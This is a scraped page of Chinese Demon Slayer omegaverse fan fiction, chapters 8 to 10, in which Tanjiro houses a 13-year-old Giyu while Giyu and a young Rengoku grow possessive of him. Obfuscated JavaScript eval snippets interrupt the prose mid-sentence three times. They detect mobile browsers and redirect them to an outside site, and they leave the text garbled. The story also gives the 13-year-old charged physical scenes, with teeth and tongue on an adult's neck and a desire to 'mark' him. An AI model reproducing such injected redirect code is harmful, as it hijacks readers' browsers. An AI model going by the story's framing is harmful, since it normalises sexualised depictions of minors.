义勇的眼皮动了动,缓缓睁开了眼睛,看到是炭治郎,他迷迷糊糊地喊了一声:“灶门先生。” “你没有去床上睡吗……?”炭治郎问。 义勇摇了摇头:“我不知道我住在哪个房间。” “我应该有拜托隐的成员来照顾你……他们没有告诉你房间在哪里吗?” 义勇回答:“他们说了,但是我忘了。” 炭治郎没有说话,只是看着他。 义勇有些紧张起来,他低下头,声音更小了:“对不起,灶门先生……我很笨,也很没用。” 炭治郎叹了口气。 这不是义勇先生的错,是他的疏忽。 他将自己的手放在了义勇的头顶,轻轻揉了揉他柔软的黑发,“没有这回事的,义勇只是没有适应这个家而已,和我一样。” 他说着,直起了身子,然后弯腰,手臂穿过义勇的膝弯和后背,将他整个抱了起来。 “我抱着义勇一起睡觉去,好吗?”炭治郎看着怀里的人问道。 和灶门先生一起睡觉…… 义勇的脸红了大片。 这样不太好吧? 自己已经分化结束了,是一个合格的Alpha了,姐姐也说他虽然现在年纪很小,但是其实等级是很高的…… 这样的自己要和灶门先生一起睡觉吗? 拒绝的话在义勇望向了炭治郎的脸后,被他吞了回去。 把脸埋在炭治郎的胸口,富冈义勇用蚊子一般的声音说:“……好的。” 8. 第 8 章 炭治郎先把富冈义勇抱到了自己的房间里,将他轻轻放在了被褥上。 之后,他又以很快的速度去洗了个澡,再回到卧室。 回来的时候炭治郎的肩膀上搭着一条毛巾,头发还是湿漉漉地往下滴着水。 要不之后还是把头发剪掉吧? 这么长好像有点麻烦了。 炭治郎一边这么想着,一边用毛巾擦着头发,走回了房间里。 房间里,不出炭治郎所料的,义勇拘谨地坐在床铺的边缘没有躺下。 “不困吗?” 义勇摇了摇头。 闻到鼻腔里害羞的味道,炭治郎有些诧异的眨了眨眼。 因为和不认识的人一起睡觉会害羞嘛? 原来小时候的义勇先生是这样的啊。 和长大后表现出来的样子完全不一样啊!! 长大了之后的义勇先生就算在洗澡的时候被自己骚扰也很淡定! 不过这也是正常的,毕竟这还是什么也没有失去的义勇先生。 啊,这一次能够赶上救下义勇先生的姐姐真的太好了。 不知道这个世界的自己和鳞泷师父是不是师徒了,如果不是师徒的话也不知道关系怎么样,义勇先生还是最适合水之呼吸的。这几天联系一下鳞泷师父,把义勇先生给他送过去吧? 炭治郎擦着头发,在床铺的另一边坐了下来。 “我来帮您擦头发吧!灶门先生!”富冈义勇说。 本来想拒绝的,但是看到富冈义勇搭在腿上紧张的握紧的拳头,炭治郎还是把拒绝的话咽了回去。 还年幼的义勇先生一个人突然到了陌生的环境,一定很害怕也很紧张。 如果能让他帮点忙或许可以减轻一点他的压力,这是最好的了。 “那就麻烦你了。” “我会小心一点,绝对不会弄疼灶门先生的!” 慎重其事的接过炭治郎搭在肩膀上的毛巾,富冈义勇小心翼翼地帮炭治郎擦起了头发。 炭治郎的头发很软,但发量很多,摸起来很柔顺。 就在富冈义勇沉浸在这种安静的氛围中时,炭治郎突然开了口:“对不起。” 这个声音把富冈义勇吓了一大跳,手里的动作也停了,“您在因为什么道歉?” “我明明是长男,却没有考虑到你一个人来到这里并不熟悉,把你一个人留在了空荡荡的房子里就出去了。” 富冈义勇的手停了下来,“不是灶门先生的错。而且……我一睡醒就看到了灶门先生,真的很开心。” 炭治郎被这句话震了一下,惊讶地转过头,他湿漉漉的长发随着这个动作甩了出去,打在了富冈义勇的脸上,发出了“啪”的一声。 炭治郎连忙说:“抱歉!” 糟糕! 长头发果然还是太麻烦了! 应该要剪掉的! 明天就去找善逸或者香奈乎帮忙剪掉! 炭治郎慌张看着捂着脸没有说话的富冈义勇。 难不成义勇先生被自己的头发甩疼了??? 本来想要让义勇先生安心下来,现在好像弄得越来越糟糕了!!! “义勇!哪里疼!可以告诉我吗!”炭治郎连忙问道。 富冈义勇捂着脸,一个劲地摇头,“什么事情也没有。” 炭治郎伸手去扒拉富冈义勇的手臂:“拜托了义勇先生!我很担心你!请让我看一眼!” 富冈义勇抵死不从:“灶门先生!请不要管我了!而且……请不要喊我义勇先生!喊我义勇就可以了!” “不可以!如果是碰到了你头上的伤口了就不好了!”炭治郎说着,手上的力气更用了一些。 富冈义勇站起来想跑,结果一脚踩在了被子上,身体失去了平衡,整个人向前摔去,直直地倒在了炭治郎的身上。 他的下巴重重地磕在了炭治郎的肩膀上。 “对不起!!义勇!!疼吗!!” 富冈义勇的头整个埋在了炭治郎的肩窝里,为了让炭治郎冷静下来,也为了让自己红了一片的脸不要被炭治郎看到,他终于还是小声地说了一声:“疼。” 炭治郎这一下彻底不敢动了,他僵直着身体,生怕一个不小心真的让富冈义勇伤上加伤了。 富冈义勇的双手还环在炭治郎的脖子上,炭治郎能感觉到对方温热的呼吸一下下地呼在他的脖颈皮肤上,让从来没有和人这么接近过的炭治郎汗毛都要竖起来了。 义勇先生的牙齿好像在自己的后颈上轻轻磨了磨。 明明现在的义勇先生只是一个十三岁的孩子,可就在那牙齿接触到他脖子的瞬间,炭治郎却感觉到了一种让他几乎难以呼吸的压迫感。 这种感觉就好像是被张开了嘴的老虎扼住了喉咙一样,随时会被咬断脖子。 好可怕,这种压迫感是怎么回事。 鼻腔中蔓延着的那股海水味又是怎么回事。 在后颈脆弱的皮肤被舌尖触及之时,炭治郎终于忍受不了,猛地推开了富冈义勇。 “头发干得差不多了!该睡觉了!” 富冈义勇的嘴巴还微微张着,在煤油灯昏黄的光线下,可以若隐若现地看到他口中的尖牙。 看起来还有点委屈。 强行压住了自己的恐惧的炭治郎望了过去,转移了话题,“义勇有虎牙啊,我以前都没有发现。” 富冈义勇闭上了嘴巴,“Alpha都有这样的牙齿……灶门先生前几天没有发现,可能是因为我刚刚分化成了Alpha。” 炭治郎眨了眨眼,终于问出了前几天就一直在想,但是没有问出口过的问题:“Alpha是什么?” 富冈义勇:“……?” 灶门先生竟然不知道什么是Alpha吗? 啊,说不定灶门先生还没有听说过这种外来词。 这几个词也是最近西洋文化进入了内地之后,才在东京流行起来的。 因为比起以前使用的词更容易分辨每个性别。 富冈义勇这么想着,开口用更加古早的词解释:“就是雄性。” “哦。”炭治郎应了一声。 雄性的话就是男性。 自己也是男性,但是没有虎牙,那应该只是义勇先生以为每个男人都有虎牙吧。 毕竟才十三岁,对其他的人的身体结构没有充分的认知也是正常的。 煤油灯的灯芯燃尽了,炭治郎的头发也干了。 “我们睡觉吧。” 说着他就钻进了被子里。 “今天你先跟我一起睡,明天我再去买一套被褥回来……义勇没有带衣服过来吧?之后我来帮义勇买衣服吧。” 富冈义勇说:“没有关系,姐姐给了我钱,我不能给灶门先生添麻烦。” 炭治郎抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048792|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,在富冈义勇的脸颊上摸了摸,温和地说:“不会的,义勇怎么样都不会是我的麻烦。” 毕竟在他原本的世界,义勇先生是他的恩人。 用一辈子都无法偿还的恩情。 如果没有义勇先生,他可能十三岁的那一年就死了。 如果自己最后死了的话,义勇先生一定也会很自责吧。 好想回去以前的世界,好想看看义勇先生。 意识逐渐迷糊了起来,炭治郎的呼吸也变得悠长了起来,放在义勇脸颊上的手无力地滑落下去。 还正坐在床褥上的富冈义勇连忙接住了炭治郎垂下的手,将它握在自己手心。 他的脸现在烫得吓人,身体里的信息素控制不住地往外溢出,无声无息地洒满了整个房间,让已经睡着了的Omega浑身上下充满了属于他的味道。 好喜欢。 好喜欢!! 好喜欢!!! 他好喜欢灶门先生,他好喜欢炭治郎。 他想要标记他,想要他成为自己的Omega。 为什么? 自己明明才刚认识灶门先生,再怎么说,对一个刚认识的Omega就有这样也太失礼了。 但是…… 富冈义勇俯身,将自己的额头贴在了已经睡着了的炭治郎的额头上。 从第一次见到灶门先生的时候,他的心脏就止不住的狂跳,就好像自己的存在就是为了见到他一样。 富冈义勇挨着炭治郎,在他身边躺了下来。 很快就坠入了梦境之中。 这个梦富冈义勇很熟悉,是他从小就会一直梦到的东西。 梦里的他失去了自己的姐姐,又失去了一个重要的朋友。 他从此生活在了无尽的自责之中,每天都想着,如果死的是自己就好了。 自己才是那个没有用的人。 如果姐姐活下来了,她就会和心爱的人结婚,拥有幸福的家庭。 如果那个朋友活下来了,他比自己强得多,他会比自己有用很多。 背负着这样沉重心情的他,在十九岁那年救下了一个十三岁的孩子。 又在二十一岁的那年,被那个如同阳光般的孩子打开了尘封的心扉。 他将那个孩子视若珍宝,在心里想着,这一次一定要永远保护他。 但,他却在那一年,永远地失去了那个孩子。 他又一次地被留下了,又一次地被保护了。 - 炭治郎迷迷糊糊地醒了过来。 他揉了揉眼睛,自己竟然说话说一半就睡着了,不知道义勇先生怎么样了。 他这么想着,撑起身子,借着窗外透进来的月光看了一眼身边的富冈义勇。 睡在他旁边的富冈义勇好像是做了噩梦,眉头紧紧地皱着,眼泪正一滴一滴地顺着脸颊滑落,流到了枕头上,打湿了一小片。 炭治郎:“????” 糟糕! 是不是他说话说了一半就睡着了的错!! 他想把富冈义勇推醒,问问他梦到了什么,但是手伸到一半,最后还是放弃了这个想法。 在噩梦中被叫醒,也许会更难受。 他想了想,抬起手,隔着被子,有一下没一下地轻轻拍着富冈义勇。 在安抚中,富冈义勇紧皱的眉头渐渐松了开来,终于露出了笑容。 9. 第 9 章 第二天一早,富冈义勇醒来的时候还散发着热气的被子里只有他一个人了。 鼻腔中满是属于炭治郎的阳光一般的味道的信息素。 揉了揉眼睛,富冈义勇做了一番心理挣扎之后,终于还是坐起了身。 昨晚上的梦具体的内容已经忘记了,只能隐约记得他好像弄丢了很重要的东西,但是在梦的最后,他又重新找到了自己的珍宝。 真是一个好梦。 他的嘴角不自觉地勾起了一个笑容,心情也不由自主地雀跃了起来。 不知道灶门先生在哪里? 自己应该再早点醒来的,这样就能一睁眼就看到灶门先生的脸了。 说不定再早一点的话还能在灶门先生醒来的时候和他说一声早安。 “师父!我已经跑完步了!接下来要做什么!” “已经跑完了吗……杏寿郎的速度很快,很棒。” “多谢师父!” 门外的声音清晰地传到了富冈义勇的耳中。 他坐在床上,嘴角刚刚勾起的弧度慢慢落了下来。 - 院子里,炭治郎有些头疼地望着面前神采奕奕的炼狱杏寿郎。 清晨时分,瑠火就把杏寿郎送了过来。 炭治郎本来还想问昨晚上之后怎么样了,瑠火却先一步开口,告诉炭治郎不用担心,她和槙寿郎已经把杏寿郎的屁股给打肿了。 炭治郎:“……” 这时候是不是应该露出一个同情的表情? 但是他做不到啊。 他现在能不笑出来就已经算得上很尊重炼狱先生了。 瑠火没有在意,“希望炭治郎可以多盯着一些杏寿郎,最起码在他完全发育好之前,不要让他学会全集中呼吸这些技巧。” 炭治郎立刻应下:“我明白了!我一定会盯着杏寿郎的。” “那就麻烦炭治郎了。给你添了不少的麻烦,真的很抱歉。最起码,这些东西可以请你收下。” 她说着,把手上拿着的篮子放到了炭治郎的手中。 炭治郎掀开上面盖着的布时,还担心的想着,会不会是什么非常珍贵的东西,如果是这样的话他要怎么拒绝。 但掀开了之后,他却发现里面是一盒色彩斑斓的金平糖,还有一盒没有见过的褐色块状物品,以及塞得满满的、还带着晨露的野香椿。 “我听槙寿郎说炭治郎喜欢吃香椿,今天早上就让杏寿郎去采了一篮回来。剩下的糖是送给小祢豆子的。这些并不贵重,是我们的心意,希望你收下。”瑠火解释道。 杏寿郎也在旁边大声说:“收下吧!师父!这是我专门为你找来的!” ……收下吗? 也行吧,不是什么特别贵重的东西。 收下的话瑠火夫人也会更加放心一些。 “谢谢瑠火夫人和杏寿郎了!等之后我做了香椿天妇罗也会给你们送一份过去。”炭治郎笑道。 他又想了想,问道:“杏寿郎的完全发育好之前,是指……?” “杏寿郎刚刚进入分化的阶段,他可能还有一段时间才能完成。这些时间里如果学习了全集中呼吸,会对身体产生很大的压力……我和槙寿郎也是因为害怕他的身体有太大的负担,才不愿意让他去参加最终选拔的。但是没想到他还是去了。” 这么说着,瑠火气不打一处来,又伸手弹了一下杏寿郎的脑袋。 杏寿郎捂着头,却还是精神十足地说:“不用担心!母亲!我一定会成为最强的Alpha的!” 瑠火看都懒得再看他一眼。 Alpha就是雄性,昨天晚上义勇先生告诉自己了。 也就是说杏寿郎先生现在正在发育的阶段,瑠火夫人希望等他发育完全之后再学习那些吗? 好像也确实是这个道理,他学习全集中呼吸的时候也已经十五岁了。 不过…… 炼狱先生想要成为最强的男性吗? 按着他的性格来说,确实是这样的。 这么想着,炭治郎笑了起来。 他蹲下身,摸了摸炼狱杏寿郎那头金红色的头发,鼓励道:“杏寿郎一定可以成为最强的Alpha的。” 炼狱杏寿郎脸上的笑容僵住了。 他缓缓地转过了头,和炭治郎对上了眼。 炭治郎笑得眼睛都眯了起来,对他挥了挥手说:“加油!” 炼狱杏寿郎瞳孔紧缩。 炼狱杏寿郎大脑宕机。 炼狱杏寿郎猛地捂着自己的脸,低头蹲在了地上,把脸深深地搭在了自己的膝盖上。 炭治郎惊慌地问:“杏寿郎!你怎么了?是哪里疼吗?” 炼狱杏寿郎闷闷的声音从手臂间传来:“没有!我什么地方都不疼!” 他虽然这么说,但是并没有把头抬起来的意思。 炭治郎有些担心,他看到炼狱杏寿郎露出来的耳朵尖都是通红通红的。 是不是屁股疼! 昨晚上刚被揍的屁股,今天说不定还是肿的。 一定会疼的! 但是自己不能随便脱别人的裤子! “杏寿郎真的没有关系吗?”炭治郎转头对着瑠火问道。 瑠火轻笑了一声,“他没有关系的,别看他这样,他可是比野猪还要坚强的。” 她这么说着,又对着炭治郎深深鞠了一躬,“杏寿郎的事情就拜托炭治郎了。他是我和槙寿郎的大儿子,我们希望他可以继承他父亲的衣钵,成为一名优秀的猎鬼人。但我们也希望,他可以好好地活下去。” 炼狱杏寿郎的声音还是闷闷的:“我肯定会活下去的,母亲。” 瑠火没有理他,她只是看着炭治郎,再次说:“杏寿郎的事情,就交给你了。” 炭治郎的嘴角往下撇了撇。 好好地活下去…… 如果上辈子的时候,炼狱先生也听到过瑠火夫人的这句话就好了。 如果他不是必须支撑起那个摇摇欲坠的家,如果不是必须成为最优秀的猎鬼人,他也不会被猗窝座…… 他用力咬住了自己的下唇,感觉眼眶热热的。 他不知道自己为什么会有这种感觉,可能是因为这个世界的身体的泪腺更加发达吧…… 虽然他原本的泪腺也很发达就是了。 不过,不能哭。 如果现在哭了的话,就太奇怪了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048793|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 炭治郎的嘴角抽了抽,又很快地扬了起来。 “我知道了,我一定会尽力保护他的,瑠火夫人。” 瑠火和炭治郎道了别。 等她的身影走得都看不到了,杏寿郎才猛地支起了身子,对着炭治郎大声说:“师父!应该是我保护你才对!我要成为最强的Alpha,最强的Alpha应该保护Omega!” 因为刚刚想起了上辈子炼狱先生结局而有些伤感的炭治郎:“?” 炭治郎问:“Omega是什么?” “Omega就是大众说的雌性!” 炭治郎点了点头,然后他抓起了杏寿郎的手,直接放在了自己的喉结上,说:“这是喉结。” 杏寿郎愣愣地点了点头。 他又抓着杏寿郎的手放在了自己的胸前,还按了按。 杏寿郎的脸瞬间爆红,喊道:“师父??????” 炭治郎面不改色地说:“平的。” 杏寿郎:“???” 炭治郎最后总结道:“所以说,我是雄性,不是雌性。” 杏寿郎:“??????” 师父不知道雄性和雌性是什么意思吗! 啊! 师父以前是山上的! 师父不知道很正常! 但是师父这个年纪不是应该已经有过发热期了吗! 难道没有过吗! “师父!” “怎么了?”炭治郎疑惑的望向了突然之间好像十分激动的杏寿郎。 “师父有没有过发热期!”杏寿郎问道。 发热期……那是什么? 望着炭治郎疑惑的脸,杏寿郎解释道:“发热期就是Omega体温会变得很高,会大量分泌汗水,需要Alpha来安抚的一种时期!” 炭治郎点了点头,一副明白了的样子:“哦,就是发烧吧?” 炼狱杏寿郎:“????”不,不是,等等? “杏寿郎,你说的发热期应该是发烧。这种是每个人都会经历的,并不是什么特殊的性别才会经历的时期,大家都有发烧的时候。知道了吗?” 炼狱杏寿郎:“???????” 虽然感觉好像师父说的和自己说的不是同一件事,但师父说得那么肯定,杏寿郎还是选择放弃了思考。 他回答:“我知道了!师父!” 时间拉回到现在。 “杏寿郎的分化大概什么时候结束?”炭治郎对着炼狱杏寿郎问道。 全集中呼吸是一种很好用的技巧,也是炼狱先生成为柱必须要学会的一种技巧,他能早点学会,总是更好一些。 “师父!大概是明——”年。 纸门被“哗啦”一声拉开的巨响让炭治郎回过了头,也让炼狱杏寿郎闭上了嘴。 炭治郎看着站在门口的富冈义勇,笑着打了个招呼:“早啊,义勇。” 富冈义勇半垂着眼睛,他先是不着痕迹地望了一眼旁边的炼狱杏寿郎,然后才将目光转向炭治郎,脸上露出了一个有些羞涩的笑容,“早安,灶门先生。昨天晚上我睡得很舒服。” “都是托和我一起睡觉的您的福。” 10. 第 10 章 “这样吗?真的太好了。”炭治郎笑着说。 富冈义勇站在门口没有动,他的目光在炭治郎看起来稍微有些局促。 义勇先生一定是睡醒了之后,不知道要去哪里接水洗漱,又听到了自己和炼狱先生的声音,这才出来,但是又不好意思开口。 义勇先生小时候真是一个温柔的好孩子,跟长大了以后的义勇先生一样,都不会将自己的需求放在最前面! 这么想着,炭治郎转头和炼狱杏寿郎说:“我带义勇去洗漱一下,然后做点早饭吃。杏寿郎吃过了吗?” 炼狱杏寿郎:“吃了!但是现在肚子又饿了!” 啊……这是正常的,毕竟一早起来又是去山上采香椿,又是锻炼的。 炭治郎点了点头,决定了下来,“嗯,那就多做一点。” 厨房里应该还有一些食材。 但是米不多了,做不了饭团了,不过还有一些红薯。 “杏寿郎可以吃红薯吗?” 炼狱杏寿郎的眼睛一下子就亮了,“我喜欢吃红薯!师父!” “那就太好了,”炭治郎眯起了双眼。 千寿郎曾经和他说过炼狱先生喜欢吃红薯的事情,没有想到这个世界的炼狱先生也还是喜欢红薯呢。 不过红薯他也很喜欢,甜甜糯糯的,刚好今天还有野香椿,就做天妇罗吧! “杏寿郎先在这里等我们,可以吗?” “是!” 炭治郎脱下了脚上的木屐,走上了走廊。 为了方便活动,他还把裤腿给挽了起来,露出一截线条紧实的小腿。 富冈义勇和炼狱杏寿郎的眼睛不做主的落在了那双在阳光之下温润如玉的双腿,又强行将目光又移了开。 “义勇,跟我来吧?”炭治郎说道。 富冈义勇应了一声“好的”。 他快步上前,伸出手拽住了炭治郎的衣袖。 炭治郎低头看了一眼富冈义勇,并没有说什么,任由他拉着自己的袖子。 跟在炭治郎身后走向房内的时候,他脸上没有任何表情地回头看了一眼。 院子里,那个叫做炼狱杏寿郎刚的人手上拿着木刀,还在不知疲倦地练习挥砍。 富冈义勇很快把头又扭了回来。 这个叫做炼狱的人看起来是一个好人,但他不喜欢他看着灶门先生的眼神。 那个眼神,和自己的一样。 炭治郎带着富冈义勇看了水井、厕所在哪里。 “你自己可以吗?” 富冈义勇点了点头,“灶门先生,我可以的。” “好的,”炭治郎放心了,他又指了指厨房的方向,“我就在那里,你洗漱完了之后去那里找我就行。” 富冈义勇应了一声:“好。” 炭治郎这才放心地去了厨房。 厨房里有昨天善逸送来的新鲜鲑鱼,还有萝卜和一些红薯。 炭治郎记得义勇先生好像很喜欢吃鲑鱼萝卜的样子,干脆就炖了一大锅。 剩下的红薯,他将一部分放进锅里和米饭一起蒸,做成了红薯饭,另一部分则和瑠火夫人送来的香椿一起,准备做成天妇罗。 他做饭的时候下意识地就做得多了一些。 毕竟上辈子在无限列车上的时候,他可是亲眼见识过了炼狱先生一个人吃掉十几个便当的场景,也还有和义勇先生比赛吃荞麦面时的悲惨记忆。 炼狱先生和义勇先生的胃口都很大!必须要做一些才够吃! 啊,这么一说,甘露寺小姐的胃口也很大。 难道说,想要让身体变得强韧就一定要吃很多很多的东西吗? 自己也要加油! 如果可以变得更强的话他一定可以砍断无惨的脖子! “灶门先生?” 门口传来了富冈义勇的声音。 炭治郎正围着围裙,一脸严肃地盯着锅盖。 听到富冈义勇的声音后,他收回了心思,赶忙回头,“义勇先生,稍微等一下,马上就要做好了。” 富冈义勇站在门口,望着那个围着围裙、脸上还沾着一点面粉的炭治郎,脸色慢慢地变红了。 连忙移开了目光,富冈义勇看向旁边的橱柜,“我也来帮灶门先生吧。” “好的,那麻烦你了。待会儿可以帮我一起把东西端到桌子上吗?” 富冈义勇点了点头。 把东西都端到房间里后,炭治郎又去院子里喊了炼狱杏寿郎来吃饭。 富冈义勇端正地坐在自己的位置上。 他的面前放着一碗冒着热气的鲑鱼萝卜。 这是他喜欢的菜! 富冈义勇夹了一块鲑鱼放进了嘴中。 鱼肉炖得恰到好处,筷子一夹就轻轻散开,鱼皮下的油脂融化在鲜美的汤汁里,带着萝卜的清甜一起在舌尖化开。 他的眼睛一下子就亮了,嘴角也不由自主地露出了一个细微的笑容。 很好吃! 灶门先生做饭真的好好吃! “好吃吗?”一直观察着富冈义勇的炭治郎问道。 富冈义勇刚张开嘴想说话,就有另外一个洪亮的声音打断了他。 “好吃!”炼狱杏寿郎正大口地吃着红薯天妇罗,外壳酥脆,内里香甜软糯。 他把嘴巴里的东西咽下去之后,目光灼灼地望着炭治郎,“师父!好吃!” 炭治郎得意地昂起了头,骄傲的说,“我可是卖炭人家的孩子!做饭的火候我是最擅长的了!” “好吃就多吃一些!” 这么说完后,炭治郎又转头对富冈义勇说:“义勇也要多吃一些!” 富冈义勇点了点头,说了一声,“好的,我会的。” 他说完之后就低下了头,继续安静地吃着自己碗里的东西。 自己的话被打断了。 他也想和灶门先生说好吃的。 富冈义勇的心里泛出了一丝不适的感觉来。 很奇怪,他的脑子里就好像被分为了两个人。 一边一个人说,炼狱杏寿郎是一个好人,他光明磊落,应该和他当朋友。 另外一边的人却反驳,说他很危险,他会抢走灶门先生。 摇了摇头,富冈义勇强行将这两个声音都抛到了脑后。 另一边,边吃边大声说好吃的炼狱杏寿郎也将目光落在了富冈义勇的身上。 这个少年是师父从东京救回来的那个,因为崇拜自己的师父才加入了鬼杀队…… 是这样吗? 可是,今天早上看到师父的时候师父的身上,有着一股挥之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048794|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不去的、带着海水味的信息素。 母亲自从生病了之后就几乎闻不到信息素的味道了,她没有发现异常。 但是他闻到了! 而且在看到了少年之后,他可以很确定,那就是这个少年的信息素。 他比自己大一岁,也已经分化成了Alpha,甚至还是东京那里的人。 这样的话应该早就被官方做过相关的知识普及了。 Alpha不可以随便将自己的信息素洒在任何一个Omega的身上,除非那个Omega是他的爱人。 这个少年喜欢师父? “这可不行!”炼狱杏寿郎突然大声说道。 “什么东西不行?”炭治郎疑惑地看向他。 是自己什么东西做得失败了吗? “什么东西也没有!我只是在想其他的东西!”炼狱杏寿郎立刻回答道。 炭治郎“哦”了一声,没再追问。 他刚好看到炼狱杏寿郎的脸颊边上沾了一粒米饭,便很自然地伸出手,顺手就捻了下来,塞到了自己的嘴里。 炼狱杏寿郎:“!!!” 富冈义勇:“???” 这个习惯性的动作做完了之后,炭治郎才反应过来自己做了什么,他连忙道歉:“抱歉,我在家里经常对弟弟妹妹们这么做,一时没有控制住……” 炼狱杏寿郎的脸变得通红,他猛地坐直了身体,昂首挺胸地说:“嗯!果然还是不行!” 他不能接受师父和这个少年在一起! 自己的师父那么温柔,又那么可爱! 他应该配上一个更有男子气概的,更加光明磊落,喜欢吃红薯饭的Alpha中的Alpha才对! 自己一定要帮师父找到一个这样的Alpha! 待会他就回去问问父亲,家里的亲戚有没有这样的Alpha! 炭治郎:“???” 所以到底是什么东西不行? 吃完了饭之后,行动力满分的炼狱杏寿郎站了起来,匆匆告别:“师父!我稍微有一点事情要回家一趟!” 炭治郎干脆利索地答应了下来:“好,路上小心。” 他的话还没有说完,杏寿郎已经冲出了房间,身影很快就消失在了院子门口,跑得飞快。 富冈义勇正在默不作声的帮炭治郎收拾碗筷。 他的心里感到一阵轻快。 炼狱杏寿郎离开了。 是不是说今天剩下的时间都是他和灶门先生在一起的? 然而等碗筷都收拾好了之后,炭治郎擦了擦手,“我昨天写信给主公大人请了几天假。待会儿我们出门,我把你送去培育师那里,好吗?” 富冈义勇手里的动作停住了。 培育师是什么他没有听过。 但是…… 他低着头,声音很小地问:“灶门先生要把我送走吗?” 炭治郎看他这个样子,连忙说:“不是的。” 听到这个回答,富冈义勇抬起了头,刚刚黯淡下去的眼神里,又重新亮起了一点神采。 炭治郎温和地解释道:“我只是想要义勇你跟着更加适合的人后面训练……那个人是一个很好的人,义勇一定会喜欢他的。” 富冈义勇再一次的失望的低下了头。